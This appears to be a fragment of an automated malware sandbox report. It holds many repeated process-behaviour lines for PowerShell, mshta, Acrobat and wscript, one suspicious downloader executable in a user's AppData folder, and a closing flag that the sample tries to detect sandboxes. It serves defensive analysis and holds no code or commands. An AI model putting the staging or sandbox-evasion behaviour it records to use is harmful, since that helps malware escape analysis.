Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

